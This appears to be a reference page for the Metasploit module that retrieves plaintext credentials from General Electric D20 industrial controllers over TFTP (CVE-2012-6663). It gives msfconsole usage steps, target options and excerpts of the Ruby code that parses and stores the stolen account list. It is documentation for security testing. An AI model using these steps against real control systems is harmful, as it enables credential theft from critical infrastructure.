General Electric D20 Password Recovery - Metasploit
This page contains detailed information about how to use the auxiliary/gather/d20pass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: General Electric D20 Password Recovery
Module: auxiliary/gather/d20pass
Source code: modules/auxiliary/gather/d20pass.rb
Disclosure date: 2012-01-19
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 69
List of CVEs: CVE-2012-6663
The General Electric D20ME and possibly other units (D200?) feature TFTP readable configurations with plaintext passwords. This module retrieves the username, password, and authentication level list.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/d20pass
msf auxiliary(d20pass) > show targets
... a list of targets ...
msf auxiliary(d20pass) > set TARGET target-id
msf auxiliary(d20pass) > show options
... show and set options ...
msf auxiliary(d20pass) > exploit
Go back to menu.
Msfconsole Usage
Here is how the gather/d20pass auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/d20pass
msf6 auxiliary(gather/d20pass) > show info
Name: General Electric D20 Password Recovery
Module: auxiliary/gather/d20pass
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-01-19
Provided by:
K. Reid Wightman <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
REMOTE_CONFIG_NAME NVRAM\D20.zlb yes The remote filename used to retrieve the configuration
RHOSTS 192.168.255.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 69 yes The target port (UDP)
Description:
The General Electric D20ME and possibly other units (D200?) feature
TFTP readable configurations with plaintext passwords. This module
retrieves the username, password, and authentication level list.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-6663
Module Options
This is a complete list of options available in the gather/d20pass auxiliary module:
msf6 auxiliary(gather/d20pass) > show options
Module options (auxiliary/gather/d20pass):
Name Current Setting Required Description
---- --------------- -------- -----------
REMOTE_CONFIG_NAME NVRAM\D20.zlb yes The remote filename used to retrieve the configuration
RHOSTS 192.168.255.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 69 yes The target port (UDP)
Advanced Options
Here is a complete list of advanced options supported by the gather/d20pass auxiliary module:
msf6 auxiliary(gather/d20pass) > show advanced
Module advanced options (auxiliary/gather/d20pass):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/d20pass module can do:
msf6 auxiliary(gather/d20pass) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/d20pass auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/d20pass) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Bad account parsing at <VALUE>
Here is a relevant code snippet related to the "Bad account parsing at <VALUE>" error message:
230: f.seek(dstart + headerlen + i * entrylen + 2)
231: accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
232: f.seek(dstart + headerlen + i * entrylen + 2 + 22)
233: accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
234: if accountname.size + accountpass.size > 44
235: print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
236: break
237: end
238: logins << [accounttype, accountname, accountpass]
239: report_cred(
240: ip: datastore['RHOST'],
No data collected
Here is a relevant code snippet related to the "No data collected" error message:
256: datastore['RPORT']
257: )
258: print_line logins.to_s
259: print_status("Loot stored in: #{loot}")
260: else
261: print_error("No data collected")
262: end
263: end
264:
265: def parse(fh)
266: print_status("Parsing file")
Invalid Configuration File!
Here is a relevant code snippet related to the "Invalid Configuration File!" error message:
265: def parse(fh)
266: print_status("Parsing file")
267: File.open(fh.path, 'rb') do |f|
268: used = f.read(4)
269: if used != "USED"
270: print_error "Invalid Configuration File!"
271: return
272: end
273: f.seek(0x38)
274: start = makefptr(f.read(4))
275: userptr = findentry(f, "B014USER", start)
Error finding the user table in the configuration.
Here is a relevant code snippet related to the "Error finding the user table in the configuration." error message:
274: start = makefptr(f.read(4))
275: userptr = findentry(f, "B014USER", start)
276: if userptr != nil
277: parseusers(f, userptr)
278: else
279: print_error "Error finding the user table in the configuration."
280: end
281: end
282: end
283:
284: def run
Go back to menu.
Related Pull Requests
- #14696 Merged Pull Request: Zeitwerk rex folder
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7200 Merged Pull Request: Rex::Ui::Text cleanup
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5935 Merged Pull Request: My final round of updating modules to use the metasploit-credential API
- #4215 Merged Pull Request: Add three new CVEs for older modules
- #2525 Merged Pull Request: Change module boilerplate
- #2243 Merged Pull Request: [FixRM #8312] - Fix file handle leaks
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #951 Merged Pull Request: Infohash cleanups
References
Authors
- K. Reid Wightman <wightman[at]digitalbond.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.